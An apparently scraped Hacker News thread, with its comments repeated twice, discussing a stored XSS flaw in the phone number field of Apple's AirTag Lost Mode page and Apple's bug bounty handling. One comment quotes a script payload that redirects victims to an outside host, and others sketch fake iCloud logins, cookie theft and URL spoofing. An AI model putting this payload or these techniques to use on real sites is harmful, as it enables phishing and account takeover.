11 ms·

Apple AirTag Bug Enables ‘Good Samaritan’ Attack

325 points by kaeruct 5y ago

chmod775 5y ago
If this keeps up in about another week I'll run out of fingers to count the number of security issues Apple has mismanaged recently - that we know about.
- deleted 5y ago
  [deleted]
breakingcups 5y ago
This multi-billion dollar company is somehow managing to mismanage responsible disclosure and their bug bounty program in such a way that it's actually detrimental to them. It's astonishing. It's so easy to get soft wins running a program like this. Communicate with the reporter, make sure you have enough of a mandate inside the company to get things fixed in time, it's a boon to your reputation even if the reporter gets to publicly disclose the weakness. Now they still have the public disclosure of the weakness, but they get the added reputation hit of seemingly not caring, or not being able to get serious security issues that jeopardize their users fixed. Not a good look for a company supposedly obsessed with users' privacy.
- prox 5y ago
  That department is probably in the navel staring face of the business lifecycle, where managers are just absorbed in their own world of projects and goals instead of looking out and making sure the day to day work runs smoothly.
  - goldenkey 5y ago
    That department is essentially the red-headed stepchild. Think about it, what manager would want to be in charge of a team with no feature set timeline, milestones, etc? It's exactly like you said, having a functional and working team that gets the day to day bugs fixed, it doesn't gain any clout in the company. Instead, you need to be in the AI or hardware division, so you can be respected as a 'pioneer.' It's all about values. Security and lets say, all submitted bugs fixed within 30 days...that would be a pioneering status for a company. Good luck getting approval for funding and staffing for that though in a company obsessed with those navel-gazing commercials about space travel and such...
    - prox 5y ago
      That makes me wonder if the tenure changed under Tim. Steve was much more of a perfectionist.
      - deleted 5y ago
        [deleted]
- Svoka 5y ago
  Bug bounty programs are a mess. I once reported a bug to Google. It was serious issue allowing to change 2FA and password without having access to anything except "application specific password" you could generate to use for POP3/IMAP access. When reported I was confronted by AI; unwelcoming replies "you don't understand this is a feature, not a bug". But, regardless, I was sent a bunch of scary emails with threats not to disclose this to anyone. I gave up, I had other stuff going on in my life. In two years, with fanfares some "security firm" discovered a bug and rolled out the full self-PR campaign with nice pictures describing a bug and how they got 1337 money. At that point I realized that bug bounty is only for professionals who have connections and willing ears to listen to them. I understand that from standpoint of big companies, they are flooded with requests, but it doesn't makes me feel better. I reported a serious security issue whole two years before they fixed it, but got absolutely nothing for it except threats and gaslighting.
  - volta83 5y ago
    So what did you learn out of this, and what would you do differently? What do you think people should do differently when reporting these issues?
    - paulryanrogers 5y ago
      These questions imply the onus is on reporters of problems. I get the impression the root causes reside with the companies offering half hearted big bounties.
      - paulryanrogers 5y ago
        ^half hearted bug bounties
      - volta83 5y ago
        > These questions imply the onus is on reporters of problems. Sorry, I did not mean to imply that and disagree with that statement. The problems are what they are. Fixing them is not the job of whoever encounters a security vulnerability. Yet if you encounter one, you still have to decide what to do. I encountered one in an Apple service a couple of years ago. Reported it. Never heard back. Vulnerability was still there 6 months afterwards, but I have better things to do than chase them. The action I took was simply to stop using Apple's products. But that was probably the wrong decision in hinsight, since the alternatives aren't really better.
- deleted 5y ago
  [deleted]
- cromka 5y ago
  I wonder if the EU's next (justifiable) excuse to ride those companies in court is going to be "the gross negligence to protect user data". Not that anyone would expect them to ever be bug-free, but those recent reports on how they handle the white-hats, they really deserves to be slapped with some hefty fine. And it wouldn't really be the money, but the bad publicity that would actually cost them something. Just imagine those Google ads "mocking" iPhone's "security/privacy" after them being found guilty of not giving two f*cks. Disclosure: saying this as a fully-invested but otherwise pissed Apple user.
asiachick 5y ago
I'm not sure I'm comvinced this is a problem. I can do th e same thing just by putting QR codes on stuff. Someone is curious, scans the code, clicks the link. Way cheaper to print sheets of QR code stickers than $30 a pop AirTags
- alexatalktome 5y ago
  I think the intended attack is to fake an apple login page with the link. You open an actual apple.com page first when you find a tag - so pretty safe to scan - then if you open the link you’ll get an apple login page. Not suspicious. Now you’ve phished the apple credentials off someone thinking they’re helping find you lost keys. Less people would scan a random QR code they found. And even fewer would mistake it for a real apple login and feel compelled to login.
  - asiachick 5y ago
    I'm sure I could design codes people would scan. Ideas "dog lost, scan to help". "win free iPad at Apple [Apple Logo] offical back to school give-away for education [QR]" "50% off Coke [QR]" etc... and just make up a domain "officialapplecontest.com", "couponsforcoke.com" etc..
    - eCa 5y ago
      No, you can’t get me to scan a qr code found in the wild. It’s on Apple to convince us that it is safe to scan Airtags. And currently their messaging is that they don’t care? Then I ain’t scanning no Airtag.
      - rjmunro 5y ago
        This isn't an Airtag bug as such. This is a bug in displaying user information on Apple's website, it just happens to be in the part that was made for Airtags to link to. It's a simple XSS vulnerability. The fact that Apple let such a stupid bug into their web site is worrying enough. The fact that they don't acknowledge and fix it within hours, when reported to them via their bounty program means that it's not just "don't scan Airtags" you should be thinking, it's "don't visit apple.com / icloud.com / other Apple websites"
alexatalktome 5y ago
Apples entire dev relations team needs a complete overhaul. Pour money into big bounties - they have it! Then use that as justification for charging 30% IAP. Also maybe be nicer to Indy devs who help promote your platform.
rickdeckard 5y ago
Considering that within days of the launch, a HW-researcher already found a way to rewrite the AirTag to direct to an entirely different URL [1], a "bad actor" might not even bother with such an easily fixable webpage issue... [1] https://twitter.com/ghidraninja/status/1391165711448518658 https://twitter.com/ghidraninja/status/1391165711448518658
- rjmunro 5y ago
  I thought the URL was displayed when you scanned an NFC before you opened it. If the URL is from apple.com or icloud.com, you know you can trust it. If the URL is someone else, you know not to trust it. An XSS can do a lot more than just redirect you. It could construct a fake Apple login page inside the apple.com domain, so you would have no reason to suspect it was a phishing attack. You could probably construct something like the Myspace Samy worm (https://en.wikipedia.org/wiki/Samy_(computer_worm) https://en.wikipedia.org/wiki/Samy_(computer_worm)) to spread through Airtag users and change everyone's AirTags to point to your malicious script.
  - chrisjc 5y ago
    > I thought the URL was displayed when you scanned an NFC before you opened it. If the URL is from apple.com or icloud.com, you know you can trust it. If the URL is someone else, you know not to trust it. While you obviously know what you're talking about, you can't honestly think that the majority of people wouldn't know any better? Even if most people knew better than clicking nwidjjjj.biz/lkqpdi15, something like youfoundmyairtag.hr/tag=238s71j would probably still fool enough to make it a viable vector.
    - petee 5y ago
      Many people wont know, notice, or look twice. It doesnt help many popular services use weird url shorteners, so some weird looking url is normal now
  - londons_explore 5y ago
    > construct a fake Apple login page inside the apple.com domain Usually you don't even need to do that. As soon as you have script running inside apple.com, you can get the password manager to auto-fill the password, login, steal the login cookie, and do whatever you like, all with nothing visible to the user.
Karupan 5y ago
Apple has become too big to fail. Most customers and shareholders don’t care about security issues, responsible disclosure or bug bounty programs. And given Apple’s ultra secretive workplace policies, I don’t have a lot of hope that people who actually care within the company can make any significant change either.
- ryanlol 5y ago
  > Most customers and shareholders don’t care about security issues, responsible disclosure or bug bounty programs. This applies to just about every company.
- coldcode 5y ago
  Ever try to ship 1000's of SDKs and new OSs at the same time every year, build new hardware, even chips, keep dev pipelines going for years in advance, and keep it from being plastered all over HN and reddit? It's a miracle anything works. Probably it's a management nightmare to keep all this moving, and clearly parts of Apple are likely poorly managed. I worked there 25 years ago when it was going out of business (before Steve), and it was already a complicated mess. Does not of course mean they shouldn't make a bug bounty that works. You'd think that someone would care in a company that values privacy. But if you have to deal with 50000 different simultaneous issues some are likely to fall through the cracks. My last job was at a huge company with even more employees (not tech but built a lot in-house) and you'd be amazed at how much crap is never addressed that seemed obvious to us low level people.
twhb 5y ago
More info: https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-credentials-with-apple-airtags-stored-xss-6997da43a216 https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-cred... After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.
- planb 5y ago
  From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field: <script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script> Really, what year is this, 2005? How is embedding unquoted user input into a web page still a thing? Most modern frameworks make it really hard to do this even on purpose...
  - rjmunro 5y ago
    This attack is far more serious than that example reveals. Instead of directing user's elsewhere, you could replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain. Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
    - planb 5y ago
      I wouldn’t even be surprised if there are cookies for *.apple.com that you can read this way…
    - ronsor 5y ago
      > replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
lol768 5y ago
> Apple’s Lost Mode doesn’t currently stop users from injecting arbitrary computer code into its phone number field Can we be precise when writing about security vulnerabilities? It's a stored XSS in the phone number field. You can include precise technical details whilst still writing an article suitable for a broad audience.
- gowld 5y ago
  XSS isn't in the phone field. S is in the phonr field. XS is in how Apple delivers the phone field value.
vmception 5y ago
Responsible Disclosure(tm) strikes again!
heytherewhat 5y ago
They should use all that filthy money they are making from 30% revenue theft on their app store to pay out their bug bounty participants properly.
- htk 5y ago
  Theft?
  - Razengan 5y ago
    “I should have access to a billion-user ecosystem and hosting and serving and discoverability for free. Never mind that every other platform also costs something to publish on it.”
    - jjulius 5y ago
      >"I should have access ... for free." OP never actually said any of that. You're assuming that that's what they think, when they actually might be content with a much lower percentage. Ask questions of people to get clarification, as user htk did, instead of insinuating they're ignorant asses.
      - xondono 5y ago
        Call me crazy, but if someone uses the word “theft” I think it’s implicit that it’s not a question of degree. Theft of pennies is still theft. So I think it’s a perfectly valid assumption that OP thinks 0% is the right percentage.
        heytherewhat 5y ago
        Wrong. 30% is too high. They should charge a large chunk lower. > perfectly valid assumption that OP thinks 0% is the right percentage. Pfffffft. NO! Of course they should be able to make lots of money. 30% is insane, though.
    - asiachick 5y ago
krisoft 5y ago
Here is a theory: Apple’s response here might have been slow because they misdirected the bug. This is a web stored XSS vulnerability. It has nothing to do with the AirTag, other than that the page is related to that device. If during the triage they accidentally sent the bug to the team who developed the AirTag’s firmware then they might have got confused and didn’t handle the ticket appropriately. Obviously this is not an excuse and a big company should know better, but can explain why the handling was sub-optimal. Just look at this very forum and the amount of confusion present in the comments. There are people questioning if a stored XSS is really that bad (yes it is), or asking why browsers don’t validate the inputs by default (wouldn’t help). There is nothing wrong with these questions! The problem and the solution is obvious to someone who worked on web security before, but if this is the first time you are wrapping your mind around the concept you might mess things up. Same way as if a web developer is asked to fix a kernel level buffer overflow, they won’t have the right mental toolset to understand the problem, let alone the ability to fix it.
- planb 5y ago
  Very likely. Because apple does not take bug reports seriously, they probably have no team that is in charge of the whole process from first evaluation to fixing the bug. As soon as the issue is redirected to the responsible development team no one but them cares about it anymore. This hurts the whole company, especially for security issues.
aaaaaaaaaaab 5y ago
Lol. The good old Bobby Tables attack.
frupert52 5y ago
It seems the only way to get Apple cooperate is to demonstrate how this can hurt them and their product. Article headlines need to be something like “Attention: Apple’s Airtags are not safe to scan”. Written for consumer consumption then delivered as a PSA to different news media. News sites and channels love to be the first with this stuff too
julianlam 5y ago
XSS is a special type of bug bounty report... we[0] get them occasionally, and by-and-large they're easy to fix -- sanitize the input on the way out. What some HN commenters don't understand here is that XSS is special not because it's particularly nasty (though it can be), but that it can creep in without you knowing. You can be aware of it, but one can still slip in if you're not actively guarding against it while coding. When you have a hundred things on your mind, and a complex model of frontend-backend living in your brain's RAM, it's easy to forget about something like sanitizing the output of user-generated content. It's easy to say AFTER the fact that you should never trust user input... obviously I don't, but they still happen, and I'm thankful every day that pentesters check us for XSS as part of our bug bounty process. XSS vulns happen to a lot of developers, Apple devs included. It definitely should've been caught during a code review process, but the silver lining to all of this is that the fix is actually rather simple... update the site to sanitize the input on the way out. No firmware changes needed to the physical devices themselves. [0] NodeBB.org
- kobalsky 5y ago
  There may be situations where a mistake is understandable because it was a who-would-have-thought situation, but on this scenario an effort is required to shoot yourself in the foot. Apple can't be seriously using an insecure-by-default templating engine to render HTML. On one of my older projects I'm using a 12 year old framework that already had XSS filtering by default when inserting values.

325 points by kaeruct 5y ago

If this keeps up in about another week I'll run out of fingers to count the number of security issues Apple has mismanaged recently - that we know about.

deleted 5y ago
[deleted]

breakingcups 5y ago

This multi-billion dollar company is somehow managing to mismanage responsible disclosure and their bug bounty program in such a way that it's actually detrimental to them. It's astonishing. It's so easy to get soft wins running a program like this. Communicate with the reporter, make sure you have enough of a mandate inside the company to get things fixed in time, it's a boon to your reputation even if the reporter gets to publicly disclose the weakness. Now they still have the public disclosure of the weakness, but they get the added reputation hit of seemingly not caring, or not being able to get serious security issues that jeopardize their users fixed. Not a good look for a company supposedly obsessed with users' privacy.

prox 5y ago
That department is probably in the navel staring face of the business lifecycle, where managers are just absorbed in their own world of projects and goals instead of looking out and making sure the day to day work runs smoothly.
- goldenkey 5y ago
  That department is essentially the red-headed stepchild. Think about it, what manager would want to be in charge of a team with no feature set timeline, milestones, etc? It's exactly like you said, having a functional and working team that gets the day to day bugs fixed, it doesn't gain any clout in the company. Instead, you need to be in the AI or hardware division, so you can be respected as a 'pioneer.' It's all about values. Security and lets say, all submitted bugs fixed within 30 days...that would be a pioneering status for a company. Good luck getting approval for funding and staffing for that though in a company obsessed with those navel-gazing commercials about space travel and such...
  - prox 5y ago
    That makes me wonder if the tenure changed under Tim. Steve was much more of a perfectionist.
    - deleted 5y ago
      [deleted]
Svoka 5y ago
Bug bounty programs are a mess. I once reported a bug to Google. It was serious issue allowing to change 2FA and password without having access to anything except "application specific password" you could generate to use for POP3/IMAP access. When reported I was confronted by AI; unwelcoming replies "you don't understand this is a feature, not a bug". But, regardless, I was sent a bunch of scary emails with threats not to disclose this to anyone. I gave up, I had other stuff going on in my life. In two years, with fanfares some "security firm" discovered a bug and rolled out the full self-PR campaign with nice pictures describing a bug and how they got 1337 money. At that point I realized that bug bounty is only for professionals who have connections and willing ears to listen to them. I understand that from standpoint of big companies, they are flooded with requests, but it doesn't makes me feel better. I reported a serious security issue whole two years before they fixed it, but got absolutely nothing for it except threats and gaslighting.
- volta83 5y ago
  So what did you learn out of this, and what would you do differently? What do you think people should do differently when reporting these issues?
  - paulryanrogers 5y ago
    These questions imply the onus is on reporters of problems. I get the impression the root causes reside with the companies offering half hearted big bounties.
    - paulryanrogers 5y ago
      ^half hearted bug bounties
    - volta83 5y ago
      > These questions imply the onus is on reporters of problems. Sorry, I did not mean to imply that and disagree with that statement. The problems are what they are. Fixing them is not the job of whoever encounters a security vulnerability. Yet if you encounter one, you still have to decide what to do. I encountered one in an Apple service a couple of years ago. Reported it. Never heard back. Vulnerability was still there 6 months afterwards, but I have better things to do than chase them. The action I took was simply to stop using Apple's products. But that was probably the wrong decision in hinsight, since the alternatives aren't really better.
deleted 5y ago
[deleted]
cromka 5y ago
I wonder if the EU's next (justifiable) excuse to ride those companies in court is going to be "the gross negligence to protect user data". Not that anyone would expect them to ever be bug-free, but those recent reports on how they handle the white-hats, they really deserves to be slapped with some hefty fine. And it wouldn't really be the money, but the bad publicity that would actually cost them something. Just imagine those Google ads "mocking" iPhone's "security/privacy" after them being found guilty of not giving two f*cks. Disclosure: saying this as a fully-invested but otherwise pissed Apple user.

asiachick 5y ago

I'm not sure I'm comvinced this is a problem. I can do th e same thing just by putting QR codes on stuff. Someone is curious, scans the code, clicks the link. Way cheaper to print sheets of QR code stickers than $30 a pop AirTags

alexatalktome 5y ago
I think the intended attack is to fake an apple login page with the link. You open an actual apple.com page first when you find a tag - so pretty safe to scan - then if you open the link you’ll get an apple login page. Not suspicious. Now you’ve phished the apple credentials off someone thinking they’re helping find you lost keys. Less people would scan a random QR code they found. And even fewer would mistake it for a real apple login and feel compelled to login.
- asiachick 5y ago
  I'm sure I could design codes people would scan. Ideas "dog lost, scan to help". "win free iPad at Apple [Apple Logo] offical back to school give-away for education [QR]" "50% off Coke [QR]" etc... and just make up a domain "officialapplecontest.com", "couponsforcoke.com" etc..
  - eCa 5y ago
    No, you can’t get me to scan a qr code found in the wild. It’s on Apple to convince us that it is safe to scan Airtags. And currently their messaging is that they don’t care? Then I ain’t scanning no Airtag.
    - rjmunro 5y ago
      This isn't an Airtag bug as such. This is a bug in displaying user information on Apple's website, it just happens to be in the part that was made for Airtags to link to. It's a simple XSS vulnerability. The fact that Apple let such a stupid bug into their web site is worrying enough. The fact that they don't acknowledge and fix it within hours, when reported to them via their bounty program means that it's not just "don't scan Airtags" you should be thinking, it's "don't visit apple.com / icloud.com / other Apple websites"

alexatalktome 5y ago

Apples entire dev relations team needs a complete overhaul. Pour money into big bounties - they have it! Then use that as justification for charging 30% IAP. Also maybe be nicer to Indy devs who help promote your platform.

rickdeckard 5y ago

Considering that within days of the launch, a HW-researcher already found a way to rewrite the AirTag to direct to an entirely different URL [1], a "bad actor" might not even bother with such an easily fixable webpage issue... [1] https://twitter.com/ghidraninja/status/1391165711448518658 https://twitter.com/ghidraninja/status/1391165711448518658

rjmunro 5y ago
I thought the URL was displayed when you scanned an NFC before you opened it. If the URL is from apple.com or icloud.com, you know you can trust it. If the URL is someone else, you know not to trust it. An XSS can do a lot more than just redirect you. It could construct a fake Apple login page inside the apple.com domain, so you would have no reason to suspect it was a phishing attack. You could probably construct something like the Myspace Samy worm (https://en.wikipedia.org/wiki/Samy_(computer_worm) https://en.wikipedia.org/wiki/Samy_(computer_worm)) to spread through Airtag users and change everyone's AirTags to point to your malicious script.
- chrisjc 5y ago
  > I thought the URL was displayed when you scanned an NFC before you opened it. If the URL is from apple.com or icloud.com, you know you can trust it. If the URL is someone else, you know not to trust it. While you obviously know what you're talking about, you can't honestly think that the majority of people wouldn't know any better? Even if most people knew better than clicking nwidjjjj.biz/lkqpdi15, something like youfoundmyairtag.hr/tag=238s71j would probably still fool enough to make it a viable vector.
  - petee 5y ago
    Many people wont know, notice, or look twice. It doesnt help many popular services use weird url shorteners, so some weird looking url is normal now
- londons_explore 5y ago
  > construct a fake Apple login page inside the apple.com domain Usually you don't even need to do that. As soon as you have script running inside apple.com, you can get the password manager to auto-fill the password, login, steal the login cookie, and do whatever you like, all with nothing visible to the user.

Karupan 5y ago

Apple has become too big to fail. Most customers and shareholders don’t care about security issues, responsible disclosure or bug bounty programs. And given Apple’s ultra secretive workplace policies, I don’t have a lot of hope that people who actually care within the company can make any significant change either.

ryanlol 5y ago
> Most customers and shareholders don’t care about security issues, responsible disclosure or bug bounty programs. This applies to just about every company.
coldcode 5y ago
Ever try to ship 1000's of SDKs and new OSs at the same time every year, build new hardware, even chips, keep dev pipelines going for years in advance, and keep it from being plastered all over HN and reddit? It's a miracle anything works. Probably it's a management nightmare to keep all this moving, and clearly parts of Apple are likely poorly managed. I worked there 25 years ago when it was going out of business (before Steve), and it was already a complicated mess. Does not of course mean they shouldn't make a bug bounty that works. You'd think that someone would care in a company that values privacy. But if you have to deal with 50000 different simultaneous issues some are likely to fall through the cracks. My last job was at a huge company with even more employees (not tech but built a lot in-house) and you'd be amazed at how much crap is never addressed that seemed obvious to us low level people.

twhb 5y ago

More info: https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-credentials-with-apple-airtags-stored-xss-6997da43a216 https://medium.com/@bobbyrsec/zero-day-hijacking-icloud-cred... After reading OP, I was under the impression this is something silly, like being able to enter “Please visit badsite.xyz” in the message you leave. The above makes clear that it’s a real XSS, the AirTag owner can run scripts on found.apple.com.

planb 5y ago
From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field: <script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script> Really, what year is this, 2005? How is embedding unquoted user input into a web page still a thing? Most modern frameworks make it really hard to do this even on purpose...
- rjmunro 5y ago
  This attack is far more serious than that example reveals. Instead of directing user's elsewhere, you could replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain. Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
  - planb 5y ago
    I wouldn’t even be surprised if there are cookies for *.apple.com that you can read this way…
  - ronsor 5y ago
    > replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.

lol768 5y ago

> Apple’s Lost Mode doesn’t currently stop users from injecting arbitrary computer code into its phone number field Can we be precise when writing about security vulnerabilities? It's a stored XSS in the phone number field. You can include precise technical details whilst still writing an article suitable for a broad audience.

gowld 5y ago
XSS isn't in the phone field. S is in the phonr field. XS is in how Apple delivers the phone field value.

vmception 5y ago

Responsible Disclosure(tm) strikes again!

heytherewhat 5y ago

They should use all that filthy money they are making from 30% revenue theft on their app store to pay out their bug bounty participants properly.

htk 5y ago
Theft?
- Razengan 5y ago
  “I should have access to a billion-user ecosystem and hosting and serving and discoverability for free. Never mind that every other platform also costs something to publish on it.”
  - jjulius 5y ago
    >"I should have access ... for free." OP never actually said any of that. You're assuming that that's what they think, when they actually might be content with a much lower percentage. Ask questions of people to get clarification, as user htk did, instead of insinuating they're ignorant asses.
    - xondono 5y ago
      Call me crazy, but if someone uses the word “theft” I think it’s implicit that it’s not a question of degree. Theft of pennies is still theft. So I think it’s a perfectly valid assumption that OP thinks 0% is the right percentage.
      - heytherewhat 5y ago
        Wrong. 30% is too high. They should charge a large chunk lower. > perfectly valid assumption that OP thinks 0% is the right percentage. Pfffffft. NO! Of course they should be able to make lots of money. 30% is insane, though.
  - asiachick 5y ago

krisoft 5y ago

Here is a theory: Apple’s response here might have been slow because they misdirected the bug. This is a web stored XSS vulnerability. It has nothing to do with the AirTag, other than that the page is related to that device. If during the triage they accidentally sent the bug to the team who developed the AirTag’s firmware then they might have got confused and didn’t handle the ticket appropriately. Obviously this is not an excuse and a big company should know better, but can explain why the handling was sub-optimal. Just look at this very forum and the amount of confusion present in the comments. There are people questioning if a stored XSS is really that bad (yes it is), or asking why browsers don’t validate the inputs by default (wouldn’t help). There is nothing wrong with these questions! The problem and the solution is obvious to someone who worked on web security before, but if this is the first time you are wrapping your mind around the concept you might mess things up. Same way as if a web developer is asked to fix a kernel level buffer overflow, they won’t have the right mental toolset to understand the problem, let alone the ability to fix it.

planb 5y ago
Very likely. Because apple does not take bug reports seriously, they probably have no team that is in charge of the whole process from first evaluation to fixing the bug. As soon as the issue is redirected to the responsible development team no one but them cares about it anymore. This hurts the whole company, especially for security issues.

aaaaaaaaaaab 5y ago

Lol. The good old Bobby Tables attack.

frupert52 5y ago

It seems the only way to get Apple cooperate is to demonstrate how this can hurt them and their product. Article headlines need to be something like “Attention: Apple’s Airtags are not safe to scan”. Written for consumer consumption then delivered as a PSA to different news media. News sites and channels love to be the first with this stuff too

julianlam 5y ago

XSS is a special type of bug bounty report... we[0] get them occasionally, and by-and-large they're easy to fix -- sanitize the input on the way out. What some HN commenters don't understand here is that XSS is special not because it's particularly nasty (though it can be), but that it can creep in without you knowing. You can be aware of it, but one can still slip in if you're not actively guarding against it while coding. When you have a hundred things on your mind, and a complex model of frontend-backend living in your brain's RAM, it's easy to forget about something like sanitizing the output of user-generated content. It's easy to say AFTER the fact that you should never trust user input... obviously I don't, but they still happen, and I'm thankful every day that pentesters check us for XSS as part of our bug bounty process. XSS vulns happen to a lot of developers, Apple devs included. It definitely should've been caught during a code review process, but the silver lining to all of this is that the fix is actually rather simple... update the site to sanitize the input on the way out. No firmware changes needed to the physical devices themselves. [0] NodeBB.org

kobalsky 5y ago
There may be situations where a mistake is understandable because it was a who-would-have-thought situation, but on this scenario an effort is required to shoot yourself in the foot. Apple can't be seriously using an insecure-by-default templating engine to render HTML. On one of my older projects I'm using a 12 year old framework that already had XSS filtering by default when inserting values.